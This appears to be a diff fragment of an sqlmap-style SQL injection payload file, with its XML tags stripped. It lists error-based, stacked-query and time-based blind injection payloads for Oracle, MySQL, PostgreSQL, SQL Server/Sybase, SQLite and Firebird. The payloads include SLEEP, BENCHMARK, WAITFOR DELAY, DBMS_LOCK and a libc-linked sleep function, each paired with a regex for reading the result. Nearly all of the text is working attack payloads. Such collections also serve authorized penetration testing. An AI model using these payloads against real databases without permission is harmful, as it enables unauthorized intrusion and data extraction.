+ + + Oracle error-based - WHERE clause + 2 + 1 + 0 + 1 + 1 + + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Oracle +
+
+ + + + + + + MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses + 2 + 3 + 0 + 2,3 + 1 + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - GROUP BY and ORDER BY clauses + 2 + 3 + 0 + 2,3 + 1 + + (CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - ORDER BY clause + 2 + 3 + 0 + 3 + 1 + + (CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle error-based - ORDER BY clause + 2 + 3 + 0 + 3 + 1 + + (SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Oracle +
+
+ + + MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses + 2 + 4 + 0 + 2,3 + 3 + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - GROUP BY and ORDER BY clauses + 2 + 4 + 0 + 2,3 + 3 + + (CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - ORDER BY clause + 2 + 4 + 0 + 3 + 3 + + (CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle error-based - ORDER BY clause + 2 + 4 + 0 + 3 + 3 + + (SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL) + + + [ERROR_START_CHAR](?P<result>.*?)[ERROR_END_CHAR] + +
+ Oracle +
+
+ + + + + + + + + + + + MySQL > 5.0.11 stacked queries + 4 + 1 + 0 + 0 + 1 + + ; SELECT SLEEP([SLEEPTIME]); + -- + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 stacked queries + 4 + 2 + 0 + 0 + 1 + + ; SELECT BENCHMARK(5000000, MD5('[SLEEPTIME]')); + -- + + + + +
+ MySQL + < 5.0.12 +
+
+ + + PostgreSQL > 8.1 stacked queries + 4 + 1 + 0 + 0 + 1 + + ; SELECT PG_SLEEP([SLEEPTIME]); + -- + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL < 8.2 stacked queries - exists function + 4 + 3 + 0 + 0 + 1 + + ; SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 3000000)); + -- + + + + +
+ PostgreSQL + < 8.2 +
+
+ + + PostgreSQL < 8.2 stacked queries - Glibc + 4 + 4 + 0 + 0 + 1 + + ; CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]); + -- + + + + +
+ PostgreSQL + < 8.2 + Linux +
+
+ + + Microsoft SQL Server/Sybase stacked queries + 4 + 1 + 0 + 0 + 1 + + ; WAITFOR DELAY '0:0:[SLEEPTIME]'; + -- + + + + +
+ Microsoft SQL Server + Sybase +
+
+ + + Oracle stacked queries + 4 + 3 + 0 + 0 + 1 + + ; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END; + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries + 4 + 5 + 0 + 0 + 1 + + ; EXEC DBMS_LOCK.SLEEP([SLEEPTIME].00); + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries + 4 + 5 + 0 + 0 + 1 + + ; EXEC USER_LOCK.SLEEP([SLEEPTIME].00); + -- + + + + +
+ Oracle +
+
+ + + SQLite > 2.0 stacked queries + 4 + 3 + 0 + 0 + 1 + + ; SELECT LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))); + -- + + + + +
+ SQLite + > 2.0 +
+
+ + + + Firebird stacked queries + 4 + 3 + 0 + 0 + 1 + + ; SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6; + -- + + + + +
+ Firebird + > 2.0 +
+
+ + + + + + + MySQL > 5.0.11 AND time-based blind + 5 + 1 + 1 + 1 + 1 + + AND SLEEP([SLEEPTIME]) + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 AND time-based blind + 5 + 2 + 1 + 1 + 1 + + AND BENCHMARK(5000000, MD5('[SLEEPTIME]')) + + + + +
+ MySQL + < 5.0.12 +
+
+ + + PostgreSQL > 8.1 AND time-based blind + 5 + 1 + 1 + 1 + 1 + + AND PG_SLEEP([SLEEPTIME]) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + SQLite > 2.0 AND time-based blind + 5 + 3 + 1 + 1 + 1 + + AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + + Firebird AND time-based blind + 5 + 4 + 1 + 1 + 1 + + AND (COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0 + + + + +
+ Firebird + > 2.0 +
+
+ + + + + + + + MySQL > 5.0.11 OR time-based blind + 5 + 2 + 3 + 1 + 1 + + OR SLEEP([SLEEPTIME]) + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 OR time-based blind + 5 + 3 + 3 + 1 + 1 + + OR BENCHMARK(5000000, MD5('[SLEEPTIME]')) + + + + +
+ MySQL + < 5.0.12 +
+
+ + + PostgreSQL > 8.1 OR time-based blind + 5 + 2 + 3 + 1 + 1 + + OR PG_SLEEP([SLEEPTIME]) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + SQLite > 2.0 OR time-based blind + 5 + 4 + 3 + 1 + 1 + + OR LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + + Firebird OR time-based blind + 5 + 5 + 3 + 1 + 1 + + OR (COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0 + + + + +
+ Firebird + > 2.0 +
+
+ + + + + +